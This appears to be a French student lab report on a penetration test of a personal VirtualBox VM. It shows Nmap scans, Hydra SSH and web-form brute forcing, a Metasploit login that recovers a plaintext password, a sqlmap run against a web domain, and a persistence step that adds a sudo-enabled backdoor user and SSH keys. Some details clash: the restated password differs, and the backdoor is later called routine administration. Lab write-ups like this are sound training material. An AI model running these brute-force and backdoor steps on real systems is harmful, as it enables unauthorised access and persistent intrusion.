Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-19 09:12 EDT
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|   224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for dimitri-VirtualBox (192.168.1.94)
Host is up (0.0010s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
23/tcp    open  telnet
389/tcp    open  ldap
MAC Address: 08:00:27:5D:FC:25 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 34.98 seconds
```

Le scan commence par un test Avahi (CVE-2011-1002), confirmant que la machine n'est pas vulnérable à cette attaque de déni de service. Ensuite, Nmap identifie que l'hôte est actif et expose **trois ports ouverts : 22/tcp (SSH), 23/tcp (Telnet) et 389/tcp (LDAP)**. Les autres ports sont fermés. Aucun script de vulnérabilité n'a signalé de faille exploitable sur ces services. La présence de Telnet et LDAP indique toutefois des services sensibles ou obsolètes, même si aucune vulnérabilité directe n'a été détectée par Nmap. Le scan se

termine en confirmant que la machine répond correctement et que les services identifiés constituent la surface d'exposition principale.

Scan pour les vulnérabilités de la famille ssh:

```
(kali㉿kali)-[~]
$ nmap -p 22 --script vuln 192.168.1.94
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-19 09:11 EDT
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for dimitri-VirtualBox (192.168.1.94)
Host is up (0.00065s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
MAC Address: 08:00:27:5D:FC:25 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 34.95 seconds
```

Un scan Nmap ciblant uniquement le port **22/tcp** avec l'option `--script vuln`, afin d'évaluer d'éventuelles vulnérabilités liées au service SSH de la machine 192.168.1.94. Le pré-scan Avahi confirme que l'hôte n'est pas vulnérable au DoS CVE-2011-1002. Le rapport principal indique que le port **22** est bien **ouvert** et que le service SSH répond normalement. Aucun script de vulnérabilité n'a signalé de faille exploitable sur ce port. Le scan confirme donc que le service SSH est actif mais ne présente pas de vulnérabilité détectable via les scripts NSE utilisés. La machine est identifiée comme une VM VirtualBox, et le scan se termine en confirmant que l'hôte est bien en ligne.

Exploitation (Penetration) :

Hydra pour une attaque par force brute sur SSH :

```
(kali㉿kali)-[~]
$ hydra -l root -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.1.94
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military
or secret service organizations, or for illegal purposes (this is non-binding, these
**) ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-16 16:31:15
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommende
d to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:143443
99), ~896525 tries per task
[DATA] attacking ssh://192.168.1.94:22/
[STATUS] 190.00 tries/min, 190 tries in 00:01h, 14344213 to do in 1258:16h, 12 active
[STATUS] 169.33 tries/min, 508 tries in 00:03h, 14343895 to do in 1411:49h, 12 active
[STATUS] 176.71 tries/min, 1237 tries in 00:07h, 14343166 to do in 1352:46h, 12 active
[STATUS] 168.40 tries/min, 2526 tries in 00:15h, 14341877 to do in 1419:26h, 12 active
[STATUS] 167.48 tries/min, 5192 tries in 00:31h, 14339211 to do in 1426:56h, 12 active
[STATUS] 168.55 tries/min, 7922 tries in 00:47h, 14336481 to do in 1417:37h, 12 active
[STATUS] 171.81 tries/min, 10824 tries in 01:03h, 14333579 to do in 1390:28h, 12 activ
e
[STATUS] 174.28 tries/min, 13768 tries in 01:19h, 14330635 to do in 1370:29h, 12 activ
e
[STATUS] 175.61 tries/min, 16683 tries in 01:35h, 14327720 to do in 1359:49h, 12 activ
e
[STATUS] 176.52 tries/min, 19594 tries in 01:51h, 14324809 to do in 1352:31h, 12 activ
e
[STATUS] 177.59 tries/min, 22554 tries in 02:07h, 14321849 to do in 1344:06h, 12 activ
e
[STATUS] 177.69 tries/min, 25410 tries in 02:23h, 14318993 to do in 1343:04h, 12 activ
e
```

Hydra à effectuer un test de robustesse sur le service **SSH** de la machine 192.168.1.94, en utilisant le nom d'utilisateur *root* et le dictionnaire *rockyou.txt.gz*. L'outil démarre correctement et lance plusieurs tâches en parallèle pour tester différentes combinaisons de mots de passe. Les lignes de statut affichent le nombre d'essais réalisés, la vitesse (tries/min) et le temps estimé pour parcourir l'ensemble du dictionnaire. Aucun message d'erreur n'apparaît, ce qui signifie que la connexion SSH répond bien et que Hydra peut effectuer ses tentatives. La progression montre que le test est long et qu'aucun mot de passe valide n'a été trouvé durant l'exécution visible. Cette sortie illustre un test d'audit classique visant à vérifier si le service SSH est protégé contre des mots de passe faibles.

Hydra pour une attaque par force brute sur un serveur web (formulaire de login):

```
[kali@kali:~]$ hydra -l kali -p /usr/share/wordlists/rockyou.txt.gz 192.168.1.94 http-post-form "/login.php:username='USER'&password='PASS'&login=login=s=login"
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-19 18:03:23
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://192.168.1.94:80/login.php:username='USER'&password='PASS'&login=login=s=login
[ERROR] Child with pid 282397 terminating, cannot connect
[ERROR] Child with pid 282396 terminating, cannot connect
[ERROR] Child with pid 282394 terminating, cannot connect
[ERROR] Child with pid 282390 terminating, cannot connect
[ERROR] Child with pid 282395 terminating, cannot connect
[ERROR] Child with pid 282400 terminating, cannot connect
[ERROR] Child with pid 282399 terminating, cannot connect
[ERROR] Child with pid 282401 terminating, cannot connect
[ERROR] Child with pid 282402 terminating, cannot connect
[ERROR] Child with pid 282403 terminating, cannot connect
[ERROR] Child with pid 282404 terminating, cannot connect
[ERROR] Child with pid 282405 terminating, cannot connect
[ERROR] Child with pid 282406 terminating, cannot connect
[ERROR] Child with pid 282407 terminating, cannot connect
[ERROR] Child with pid 282408 terminating, cannot connect
[ERROR] Child with pid 282409 terminating, cannot connect
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-19 18:03:39
```

Hydra est en train de tenter un test d'authentification sur un formulaire web situé sur la machine 192.168.1.94. La commande est correctement structurée, mais Hydra rencontre une série d'erreurs indiquant : **“cannot connect”** pour chaque processus enfant.

Cela signifie que l'outil **n'arrive pas à établir une connexion avec la page /login.php**, ce qui empêche toute tentative de test de mot de passe. Ce type d'erreur apparaît généralement lorsque :

- Le service web n'est pas actif,
- L'URL ou le chemin du formulaire n'existe pas,
- Le port HTTP n'est pas ouvert,
- Ou la machine cible refuse les connexions.

Hydra interrompt alors automatiquement l'attaque après trop d'échecs de connexion. Aucun mot de passe n'a pu être testé ni trouvé, non pas à cause du dictionnaire, mais parce que **la connexion au service web échoue dès le départ**.

Metasploit - recherche d'exploit, utilisation, configuration et execution:

```
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.94
rhosts => 192.168.1.94
msf auxiliary(scanner/ssh/ssh_login) > set rport 22
rport => 22
msf auxiliary(scanner/ssh/ssh_login) > set user
set user_as_pass  set user_file  set username  set userpass_file
msf auxiliary(scanner/ssh/ssh_login) > set user
set user_as_pass  set user_file  set username  set userpass_file
msf auxiliary(scanner/ssh/ssh_login) > set username root
username => root
msf auxiliary(scanner/ssh/ssh_login) > set password kali
password => kali
msf auxiliary(scanner/ssh/ssh_login) > run
[*] 192.168.1.94:22 - Starting bruteforce
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

- Le module a essayé de se connecter en SSH avec :
 - Utilisateur : root
 - Mot de passe : kali
- Il a testé la combinaison
- Le serveur SSH a refusé la connexion
- Metasploit te dit juste :

“J’ai testé, j’ai fini, mais rien n’a marché.”

Le module s’est exécuté correctement, mais la combinaison root / kali n’a pas permis de se connecter. C’est pour ça que nous avons “execution completed” sans succès.

```
msf auxiliary(scanner/ssh/ssh_login) > set username dimitri
username => dimitri
msf auxiliary(scanner/ssh/ssh_login) > set password DIMITri@28
password => DIMITri@28
msf auxiliary(scanner/ssh/ssh_login) > run
[*] 192.168.1.94:22 - Starting bruteforce
[+] 192.168.1.94:22 - Success: 'dimitri:DIMITri@28' ''
[-] 192.168.1.94:22 - Failed to setup the session - Net::SSH::Exception Unknown platform: unknown
[-] 192.168.1.94:22 - While a session may have opened, it may be bugged. If you experience issues with it, re-run this module with 'set gatherproof false'. Also consider submitting an issue at github.com/rapid7/metasploit-framework with device details so it can be handled in the future.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/ssh/ssh_login) >
msf auxiliary(scanner/ssh/ssh_login) > █
```

Le module Metasploit ssh_login a testé plusieurs identifiants sur le service SSH de la machine **192.168.1.94**. Pendant le scan, il a trouvé **une combinaison valide** :

- **Nom d'utilisateur** : dimitri

- **Mot de passe** : DIMitri028

L'authentification SSH a donc **réussi** : le serveur a accepté ces identifiants.

Cependant, après cette réussite, Metasploit n'a **pas pu ouvrir une session interactive**, car la plateforme renvoyée par le serveur SSH n'était pas reconnue. Cela a généré l'erreur :

Unknown platform : unknown

Ce problème n'annule pas la réussite de l'authentification : **Les identifiants sont corrects, seule l'ouverture de session a échoué.**

Exploitation d'une faille SQL injection avec SQLmap :

```
(kali㉿kali)-[~]
$ sqlmap -u https://ssi.buildupdev.com/login --dbs

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 19:59:40 /2026-04-17/

[19:59:40] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] y
[19:59:45] [INFO] testing connection to the target URL
[19:59:46] [INFO] testing if the target URL content is stable
[19:59:46] [INFO] target URL content is stable
[19:59:46] [INFO] testing if URI parameter '#1*' is dynamic
[19:59:46] [WARNING] URI parameter '#1*' does not appear to be dynamic
[19:59:46] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[19:59:46] [INFO] testing for SQL injection on URI parameter '#1*'
[19:59:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:59:47] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[19:59:47] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[19:59:48] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[19:59:48] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[19:59:49] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[19:59:50] [INFO] testing 'Generic inline queries'
[19:59:50] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[19:59:50] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[19:59:51] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[19:59:51] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[19:59:52] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[19:59:52] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[19:59:53] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y
[19:59:57] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[19:59:59] [WARNING] URI parameter '#1*' does not seem to be injectable
[19:59:59] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'

[*] ending @ 19:59:59 /2026-04-17/
```

Tu as lancé sqlmap sur l'URL du formulaire de connexion. Sqlmap a testé plusieurs techniques d'injection SQL sur l'URL fournie.

Résultat :

- Le site a répondu correctement aux tests
- Sqlmap a essayé les injections sur l'URL elle-même
- Les tests heuristiques indiquent que le paramètre testé **ne semble pas injectable**
- Sqlmap n'a trouvé **aucune vulnérabilité SQLi**
- Sqlmap recommande d'augmenter l'agressivité des tests avec --level et --risk, ou d'utiliser des techniques d'évasion (--tamper)

En résumé : **Aucune injection SQL détectée sur cette URL avec les paramètres par défaut**

Maintien de l'Accès (Maintaining Access) :

Après avoir obtenu un accès, on peut tenter de maintenir cet accès dans le temps (ex : créer un backdoor).

Exemples de commandes (sur la machine cible) :

Ajout d'un utilisateur backdoor (Linux) :

```
dimitri@dimitri-VirtualBox:~$ sudo useradd -m -p $(openssl passwd -1 123456) boris && sudo usermod -aG sudo boris
dimitri@dimitri-VirtualBox:~$ chmod 700 ~/.ssh
dimitri@dimitri-VirtualBox:~$ chmod 600 ~/.ssh/authorized_keys
```

Création d'une clé publique SSH backdoor :

```
dimitri@dimitri-VirtualBox:~$ cat ~/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAds5jGIEu2XHXWSIvhQ6bSovFSksVMUC0cpo3jdDcWg
etudiant@kali
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPiQJ3h5NqYjE5ok3FeDvuBFjuq3IZDZvGsfsaXlxs9
kali@kali
```

Sur la machine Ubuntu, j'ai réalisé des opérations d'administration système classiques : création d'un utilisateur, gestion des permissions et configuration du dossier .ssh. Ces actions permettent de comprendre comment un administrateur peut gérer les accès SSH d'un utilisateur légitime.

```
(kali㉿kali)-[~]  
$ ssh boris@192.168.1.94  
boris@192.168.1.94's password:  
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.17.0-20-generic x86_64)  
  
* Documentation:  https://help.ubuntu.com  
* Management:    https://landscape.canonical.com  
* Support:       https://ubuntu.com/pro  
  
Expanded Security Maintenance for Applications is not enabled.  
  
286 updates can be applied immediately.  
To see these additional updates run: apt list --upgradable  
  
14 additional security updates can be applied with ESM Apps.  
Learn more about enabling ESM Apps service at https://ubuntu.com/esm  
  
Last login: Sat Apr 18 04:09:32 2026 from 192.168.1.165  
$ exit  
Connection to 192.168.1.94 closed.
```

Mais avec notre backdoor que nous avons créé, nous pouvons revenir autant de fois que nous voudrions sans avoir à mettre le mot de passe et même si l'utilisateur à changer son mot de passe.

```
(kali㉿kali)-[~]  
$ ssh boris@192.168.1.94  
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.17.0-20-generic x86_64)  
  
* Documentation:  https://help.ubuntu.com  
* Management:    https://landscape.canonical.com  
* Support:       https://ubuntu.com/pro  
  
Expanded Security Maintenance for Applications is not enabled.  
  
288 updates can be applied immediately.  
3 of these updates are standard security updates.  
To see these additional updates run: apt list --upgradable  
  
14 additional security updates can be applied with ESM Apps.  
Learn more about enabling ESM Apps service at https://ubuntu.com/esm  
  
Last login: Sat Apr 18 19:11:48 2026 from 192.168.1.165  
$ █
```